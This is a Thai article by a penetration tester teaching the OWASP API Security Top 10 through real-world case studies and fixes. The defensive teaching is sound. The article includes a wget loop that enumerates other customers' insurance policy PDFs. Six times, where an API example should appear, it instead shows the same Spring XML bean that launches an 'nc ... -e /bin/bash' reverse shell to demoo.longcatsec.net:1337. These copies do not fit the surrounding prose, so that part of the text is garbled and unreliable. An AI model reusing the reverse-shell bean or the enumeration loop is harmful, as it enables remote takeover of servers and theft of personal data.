เป็นลิงก์หน้าตาแบบนี้ https://app.longcatinsurance.local/api/epolicy/?policy_id=DEMO-0001-1234.pdf ปรากฏว่าแฮกเกอร์สามารถที่จะเขียนโปรแกรมง่าย ๆ ด้วยภาษา Bash ทำการวนตัวเลขเพื่อดาวนืโหลดเอกสารกรมธรรม์ของผู้ใช้งานคนอื่นกลับมาได้ for i in {0001..9999}; do wget https://app.longcatinsurance.local/api/epolicy/?policy_id=DEMO-0001-"$i".pdf; done ซึ่งในตัวอย่างนี้แฮกเกอร์จะสามารถเข้าถึงข้อมูลดังต่อไปนี้ได้
การแก้ไขช่องโหว่นี้ทำได้หลายท่า ถ้าเรามองว่ามันเป็นช่องโหว่ Broken Object Level Authorization เราก็สามารถแก้ไข ได้โดยการเช็คสิทธิ์ ว่าคนที่ดาวน์โหลดได้เป็นคนที่ซื้อประกันสุขภาพนั้น ๆ เท่านั้น แต่ว่าจาก business logic ของแอปพลิเคชัน จะเห็นว่า จริง ๆ แล้วการตรวจสอบสิทธิ์อาจจะไม่เหมาะนัก เพราะว่าลิงก์นี้ตั้งใจไว้ว่า จะให้ผู้ใช้งานแอปพลิเคชัน กดเข้าอีเมลมาดาวน์โหลดเอกสารได้ รวมถึงคนที่เป็นผู้ได้รับเอกสาร อาจจะไม่ได้เป็นคนสมัครเอง (มีคนอื่นสมัครให้) และไมไ่ด้มีบัญชีในระบบสำหรับการตรวจสอบสิทธิ์จริง ๆ ดังนั้นเวลาเราจะมองหาวิธีการแก้ช่องโหว่เราอาจจะคิดในภาพรวมเพื่อออกแบบให้เหมาะสมด้วย ในกรณีนี้อาจจะเลือกได้ว่า
หรือว่าให้ลิงก์ดาวน์โหลดนั้น…
ทั้งนี้ทั้งนั้นสุดท้ายแล้วก็ต้องเลือกวิธีการแก้ไขช่องโหว่ให้เหมาะสม กับสถานการณ์ต่าง ๆ ไม่ได้ทำตามคำแนะนำของ OWASP อย่างตรงไปตรงมาอย่างเดียว ให้มองเอกสารของ OWASP เป็นเหมือน template และ baseline ให้เรานำไปปรับใช้จะดีกว่า อันดับ 2 Broken User Authenticationต่อมาจะเป็นความเสี่ยงชื่อว่า Broken User Authentication อันนี้มาอินดี้ย้อมแมวแปลงช่องโหว่ Broken Authentication จาก OWASP Top 10 เว็บมาชัด ๆ (ไม่รู้ว่าจะแก้ชื่อให้มันต่างกันเล็กน้อยชวนเข้าใจผิดทำไม) มันคือเป็นความเสี่ยงที่รวมช่องโหว่ เกี่ยวข้องกับการยืนยันตัวตนต่าง ๆ ไม่ว่าจะเป็น..
2 .1 User Account Takeoverกรณีศึกษาเช่นช่องโหว่เว็บโปรแกรมบัญชีออนไลน์ของไทย ที่ผู้เขียนเคยเจอและแจ้งช่องโหว่ ทำให้สามารถเปลี่ยนรหัสผ่านของผู้ใช้งานคนอื่นในระบบได้ โดยพบว่าเมื่อผู้ใช้งานล็อกอินเข้าระบบไปจะทำการเปลี่ยนรหัสผ่านตัวเองจะมีการยิง API หน้าตาประมาณนี้ <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>0 คือมีการระบุ User ID กับรหัสผ่านใหม่เข้าไป วิธีการแฮกก็ง่ายมาก ๆ ก็แค่ทำการเปลี่ยน User ID จากของแฮกเกอร์ (1234) เป็นของเหยื่อ (5555) <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>1 ก็พบว่าสามารถที่จะตั้งรหัสผ่านใหม่ให้ผู้ใช้งานคนอื่นได้ แต่หลังจากเปลี่ยนรหัสผ่านแล้ว ติดปัญหาอยู่นิดหน่อยว่า เวลาจะล็อกอินเข้าบัญชีเหยื่อต้องใช้อีเมล ไม่ใช่ User ID ดังนั้น ช่องโหว่นี้จึงต้องใช้ร่วมกับ อีกช่องโหว่ ที่สามารถแอบดูอีเมลของผู้ใช้งานคนอื่นในระบบ โดยรู้แค่ User ID ได้ จะเห็นว่าช่องโหว่นี้จริง ๆ ก็นับเป็น Broken Object Level Authorization ได้เหมือนกัน แต่ผลกระทบไปกระทบกับกระบวนการยืนยันตัวตน (Authentication) ด้วยทำให้มาตกอยู่ในหมวก Broken User Authentication วิธีการแก้ไขช่องโหว่นี้ก็คือจะต้องทำการตรวจสอบว่า ผู้ใช้งานที่ล็อกอินอยู่นั้น มีสิทธิ์เฉพาะ เปลี่ยนรหัสผ่านของตัวเองเท่านั้น โดยอาจจะ ดึงค่า User ID มาจากฐานข้อมูลที่น่าเชื่อถือฝั่งเซิร์ฟเวอร์แทน ไม่ควรรับมาผ่านจาก API เพราะสามารถถูกแก้ไขได้เอง โดยแฮกเกอร์ เพิ่มเติมก็คือ ในฟังก์ชันการเปลี่ยนรหัสผ่าน ควรจะต้องบังคับให้ผู้ใช้งาน ใส่รหัสผ่านเก่าก่อนเสมอ ก่อนจะยอมให้ตั้งรหัสผ่านใหม่ได้ (รวมถึงการเปลี่ยนอีเมลด้วย) เพื่อลดความเสี่ยงในเหตุการณ์ที่ว่า ค่า session token ของผู้ใช้งานหลุด จะทำให้แฮกเกอร์ไม่สามารถเปลี่ยนรหัสผ่านของเหยื่อได้โดยง่าย 2.2 User Authentication Bypassตัวอย่างช่องโหว่ SQL Injection ใน API ของแอปพลิเคชัน Mlive สามารถล็อกอินเป็นใครก็ได้โดยรู้แค่ Username วิธีการคือใส่คำสั่ง SQL พิเศษลงไปใน data field ชื่อว่า password โดยผู้เขียนได้แจ้งช่องโหว่นี้ไปยังทางบริษัทที่ทำแอปพลิเคชัน Mlive และได้ทำการแก้ไขเรียบร้อยแล้ว (พร้อมได้คูปองฟรีนิดหน่อย) อันดับ 3 Excessive Data Exposureอันนี้เป็นความเสี่ยงที่ย้อมแมวรวม ๆ กันระหว่าง Security Misconfiguration กับ Sensitive Data Exposure ของ OWASP Top 10 เว็บเอามาตั้งชื่อใหม่ แต่อันนี้ค่อนข้างเห็นด้วยว่าใช้ชื่อนี้เหมาะสมที่จะใช้เรียก ความเสี่ยงนี้ Excessive Data Exposure เข้าใจง่ายมากคือ การที่ API ตอบข้อมูลมามาก เกินกว่าที่จะต้องนำไปใช้งานจริง แค่นั้นเองสั้น ๆ ง่าย ๆ ตัวอย่างเช่น API เราต้องการดึง ความคิดเห็นของวีดีโอมาแสดง โดยในหน้าจอจะแสดงแค่ ชื่อคนแสดงความคิดเห็น แต่ปรากฏว่า API ตอบกลับมาแบบนี้ <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>2 จะเห็น ว่า API ออกแบบมาอย่างไม่ปลอดภัย มีการตอบ อีเมลและหมายเลขโทรศัพท์ ของคนที่มาแสดงความคิดเห็นออกมาใน API ถึงแม้ว่าหน้าเว็บ หรือหน้าแอปพลิเคชันโทรศัพท์จะไม่ได้นำมาแสดงก็ตาม แต่ว่าแฮกเกอร์ สามารถใช้โปรแกรม intercepted proxy เช่น Burp Suite ในการดักเอาค่าเหล่านี้ออกมาได้ หรือจริง ๆ แค่ยิง API เข้าไปด้วย client ของตัวเองก็ได้เช่นกัน เป็นหนึ่งในช่องโหว่ที่พบได้ค่อนข้างบ่อย โดยเฉพาะใน API ที่ทำมาก่อนจะเกิดคนมาเรียกใช้งานจริง ๆ 3.1 ดูสถานะการตรวจสอบก่อนประกาศผลจริงตัวอย่างเว็บไทยไม่ทิ้งกัน (ได้รับการแก้ไขแล้ว) พบว่า เมื่อสมัครรับเงินเยียวยา จะมีหน้าเว็บสำหรับการตรวจสอบสถานะ โดยจะมีข้อความขึ้นว่า “อยู่ระหว่างการตรวจสอบ” แต่ว่า ถ้าหากไปดูที่ API ของเว็บที่ตอบกลับมา ดันมีสถานะชื่อว่า govResult แนบติดมาด้วย บางคนก็มีค่าเป็น Pending บางคนก็มีค่าป็น Reject ทำให้ สามารถอนุมานได้ว่า API มีการออกแบบอย่างไม่รัดกุม และตอบผลการตรวจสอบออกมาก่อนที่จะประกาศผลจริง 3.2 แอบดูคำตอบข้อสอบออนไลน์กรณีศึกษาอีกระบบ เป็นเว็บเรียนออนไลน์ มีข้อสอบให้ทำ แต่ว่าเวลาหน้าเว็บดึง API สำหรับแสดงคำถามและตัวเลือกของคำถามมา มีการ ใส่สถานะคำตอบที่ถูกต้องใน API เกินไปด้วย ทำให้ผู้เรียนที่ไปแอบดู API สามารถโกงข้อสอบ เลือกตอบคำถามที่ถูกต้องได้ทันที ตัวอย่างเช่น <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>3 รูปจากระบบจริง (ได้รับการแก้ไขเรียบร้อยแล้ว) อันดับ 4 Lack of Resources & Rate Limitingถัดมาจะเป็นความเสี่ยงที่จริง ๆ เรื่อง Rate Limiting ถ้าเป็นเกี่ยวข้องกับการล็อกอินต่าง ๆ จะรวมอยู่ใน Broken User Authentication แต่ในความเสี่ยงนี้ Lack of Resources & Rate Limiting จะเน้นไปที่ เรื่องของ การทำให้แอปพลิเคชันล่ม โดยการแก้ไข API ให้ทำงานหนักเกินกว่าจะรับไหว 4.1 อัปโหลดไฟล์ จนพื้นที่เซิร์ฟเวอร์เต็มฟีเจอร์ที่เห็นได้บ่อยในแอปพลิเคชัน คือการอัปโหลดไฟล์ ไม่ว่าจะเป็น การใส่รูป วีดีโอ และเอกสารแนบต่าง ๆ ปัญหาก็คือว่า เราอาจจะแค่ประมาณไว้ว่า เครื่องเซิร์ฟเวอร์ เราจะโดนผู้ใช้งานนำเอกสารขึ้นมาขนาดรวมทั้งหมดแล้วประมาณเท่าไร และที่เราเตรียมไว้ “น่าจะพอ” ถ้าแอปพลิเคชันเราไม่ได้มีการกำหนด…
แฮกเกอร์ก็จะทำการอัปโหลดไฟล์ขนาด 500 MB หลาย ๆ ครั้งติด ๆ เป็นวันจนเซิร์ฟเวอร์พื้นที่เต็มและทำให้ผู้ใช้งานปกติเข้าใช้งานแอปพลิเคชันไม่ได้เกิดเป็นการโจมตีแบบ denial of service ได้ วิธีการแก้ไขนอกจากจะมีการตรวจสอบขนาดไฟล์ต่าง ๆ แล้วก็เตรียมพื้นที่ให้เพียงพอแล้ว อีกทางเลือกหนึ่งคือไปใช้บริการรับฝากไฟล์ที่สามารถขยายพื้นที่ได้อัตโนมัติอย่าง Amazon S3, Azure Blob Storage และ Google Cloud Storage เป็นต้น 4.2 ทำให้ API ประมวลผลอย่างหนักเวลาเราพูดกันว่าจะยิง API ให้ล่ม คนทั่วไปมักนึกถึงภาพว่าเรามี คอมพิวเตอร์เยอะ ๆ ยิง API จำนวนมาก ๆๆๆ เข้ามา จนระบบล่ม ตัวอย่างเว็บ เราไม่ทิ้งกัน.com ล่มระหว่างที่มีผู้สนใจเข้าใช้งานจำนวนมาก (แก้ไขเรียบร้อยแล้ว) แต่จริง ๆ แล้วการทำให้ API ประมวลผลอย่างหนักจนล่ม มีหลากหลายวิธี ที่อาจจะไม่ได้ต้องใช้ ทรัพยากรเยอะเลยก็เป็นได้ ถ้าหาก API นั้นออกแบบมาอย่างไม่ปลอดภัย ตัวอย่างเช่น
สำหรับความเสี่ยงในหัวข้อ Lack of Resources & Rate Limiting เหมาะมาก ที่จะตรวจสอบและแก้ไขไปพร้อม ๆ กับการทำ Logging & Monitoring เพราะว่าการบันทึก Log กับการคอยตรวจสอบการทำงานระบบและข้อความแจ้งเตือนนี้แหละ จะเป็นจุดที่ทำให้ลดความเสี่ยงนี้ได้อย่างมีประสิทธิภาพ อันดับ 5 Broken Function Level Authorizationอันนี้จะเป็นช่องโหว่ที่ควรรวมกับ อันดับ 1 Broken Object Level Authorization แล้วใช้ชื่อเดิมของ OWASP Top 10 เว็บนั้นก็คือ Broken Access Control สรุปมันคือความเสี่ยง ที่เกิดจาก การที่ผู้ใช้งานสามารถใช้งาน API ที่ไม่ได้มีไว้สำหรับสิทธิ์ตัวเองได้ ปกติแล้วมักจะมีคู่กับช่องโหว่ที่แสดงรายชื่อ API ทั้งหมดออกมา เช่นการเปิด Swagger หรือฝัง API ที่ไม่ได้ใช้งานมาใน โค้ดของแอปพลิเคชันโทรศัพท์ 5.1 แอปพลิเคชันติดตามและประเมินความเสี่ยง COVID-19 (แก้ไขแล้ว)ในตัวอย่างนี้ผู้เขียนพบว่ามีเว็บที่ไม่สามารถสมัครหรือใช้งานได้แต่มีชื่อ API ถูกฝังอยู่ในไฟล์ JavaScript ของเว็บ (View Source) และเมื่อแกะแอปพลิเคชันโทรศัพท์พบว่ามี API Token สำหรับ API อื่น ๆ ที่ไม่เกี่ยวกับเว็บฝังอยู่ ดังนั้นเลยลองเอา API Token ของโทรศัพท์มายิงใส่เว็บ (คนละแอปพลิเคชัน แต่ระบบเดียวกัน) พบว่าสามารถเข้าถึงตำแหน่งของผู้ใช้งานแอปพลิเคชันที่เก็บไว้ที่ระบบหลังบ้านได้ จากกรณีนี้จะพบว่า API Token สำหรับใช้งานสิทธิ์หนึ่งของ แอปพลิเคชันโทรศัพท์ (สำหรับผู้ใช้ทั่วไป) ดันถูกใช้เป็น API Token เดียวกัน กับแอปพลิเคชันระบบจัดการภายในหลังบ้าน (สำหรับเจ้าหน้าที่) ทำให้เกิดเป็นช่องโหว่ Broken Function Level Authorization นั่นเอง อันดับ 6 Mass Assignmentช่องโหว่ Mass Assignment คือ ช่องโหว่ที่ API ยอมรับค่าเกินกว่าที่ควรจะเป็นจริง ๆ ถ้าหากถูกใส่เข้าไป ตัวอย่างเช่น มี API การสมัครสมาชิกหน้าตางี้ <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>4 ปรากฏว่าโค้ดที่ใช้ในการสร้างผู้ใช้งานบนเซิร์ฟเวอร์ ทำการวนรับค่าทุก field ไปแล้วกำหนดให้ User Object โดยไม่ได้กำหนดว่า field อะไรยอมให้นำไปกำหนดได้บ้าง (เพราะเชื่อใจว่า client ใส่มาเฉพาะที่เรากำหนดไว้ในหน้าแอป) จะทำให้ถ้าแฮกเกอร์ทำการสมัครโดยการใส่ field ที่ไม่ควรจะถูกแก้ไขได้อย่างเช่น role <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans>5 เพื่อแอปพลิเคชันนำท่านี้ไปกำหนดให้ User ที่สร้างใหม่ แฮกเกอร์ก็จะสวมบทยกระดับสิทธิ์กลายเป็น ผู้ดูแลระบบได้ทันที ช่องโหว่นี้โดยปกติแล้วมักจะหาเจอได้จากการ อ่านโค้ดหรือการสำรวจชื่อ field ในหลาย ๆ API แล้วเอามาลอง ๆ ใส่ดู เช่นมี API ที่ตอบค่ามาแล้วมีชื่อ field ที่ตอนกดอัปเดต ไม่มี เลยเอาชื่อ field นั้นกับค่าที่ไม่ควรแก้ได้ไปลองใส่ใน API สำหรับการอัปเดต กรณีที่เคยเจอจริง มีเป็นพวกเกี่ยวข้องกับ API ที่ใช้ร่วมกันหลายระบบ แล้วมีการใส่ flag บางอย่างเช่น “is_verify”: true สำหรับระบบหนึ่ง และไม่ได้ใส่มาทั้ง field (คือเหมือนเป็น false) สำหรับอีกระบบ ปรากฏว่า ถ้าเราใส่เพิ่มเข้าไปเอง จะสามารถเข้าถึงข้อมูลที่ไม่ควรเข้าถึงได้ อันดับ 9 Improper Assets Managementอันสุดท้าย Improper Assets Management เป็นความเสี่ยงที่เกี่ยวข้องกับการบริหารจัดการดูแล API ไม่ดีอย่างเพียงพอ ตัวอย่างปัญหาในอันดับนี้เช่น
กรณีศึกษาจะเป็น มี API เว็บหลัก www.longcat.local/users/1 มีการป้องกันอย่างดี และแก้ไขมาให้ปลอดภัยทั้งในเรื่องสิทธิ์และการตรวจสอบค่าจากผู้ใช้งาน แต่ปรากฏว่ามีระบบเก่าที่ทำ subdomain ไว้เป็น uat.longcat.local/users/1 ปรากฏว่าใน subdomain เก่าไม่ได้มีการตั้งค่าความปลอดภัยใด ๆ และดึงข้อมูลมาจากระบบจริงเดียวกัน ทำให้แฮกเกอร์ สามารถเข้าไปเล่นงานระบบเก่าแทนระบบใหม่ได้อย่างง่ายดาย จะเห็นว่าในกรณีนี้ เจ้าของเว็บ www.longcat.local/users/1 ต่อให้ไปทดสอบความปลอดภัยอย่างไร ดีแค่ไหน แต่ไม่ได้เห็นภาพกว้างของสภาพแวดล้อมระบบในองค์กร ว่ามีระบบทดสอบใดบ้าง ระบบเก่าใดบ้างอยู่ ก็อาจทำให้ถูกแฮกได้อยู่ดี สุดท้ายนี้ผู้เขียนก็หวังว่า ความรู้และกรณีศึกษาของ OWASP API Security Top 10 จะทำให้ทุกท่านได้พัฒนาระบบที่มีความปลอดภัย ห่างไกลจากแฮกเกอร์นะครับ ในปัจจุบันก็มีช่องโหว่โผล่มาใหม่มากมาย หลายครั้งเราคิดว่าเราดูครบหมดแล้ว แต่ก็อาจจะยังพลาดได้ มีหนังสือเล่มหนึ่งเขียนไว้ว่า สำหรับคนดูแลระบบความปลอดภัยและคนเขียนโค้ด ถ้าถูกโจมตีระบบมา 100 ครั้งหน้าที่ของเขาคือ ป้องกันให้ได้ 100 ครั้ง เพื่อไม่ให้โดนแฮกสำเร็จ แต่สำหรับแฮกเกอร์ ถ้าโจมตี 100 ครั้ง เขาต้องการแค่ทำสำเร็จเพียงแค่ 1 ครั้ง ก็ถือว่าแฮกสำเร็จแล้ว
พิชญะ โมริโมโตหัวหน้าทีมทดสอบเจาะแฮกระบบ (lead penetration tester) ของบริษัท สยามถนัดแฮก, เป็นที่ปรึกษาด้านความปลอดภัยให้หน่วยงานเอกชน, เป็นที่รู้จักกันในฐานะ หนึ่งในแอดมินกลุ่ม 2600 Thailand และเป็นหนึ่งในคนเขียนบทความลงเพจ สอนแฮกเว็บแบบแมว ๆ |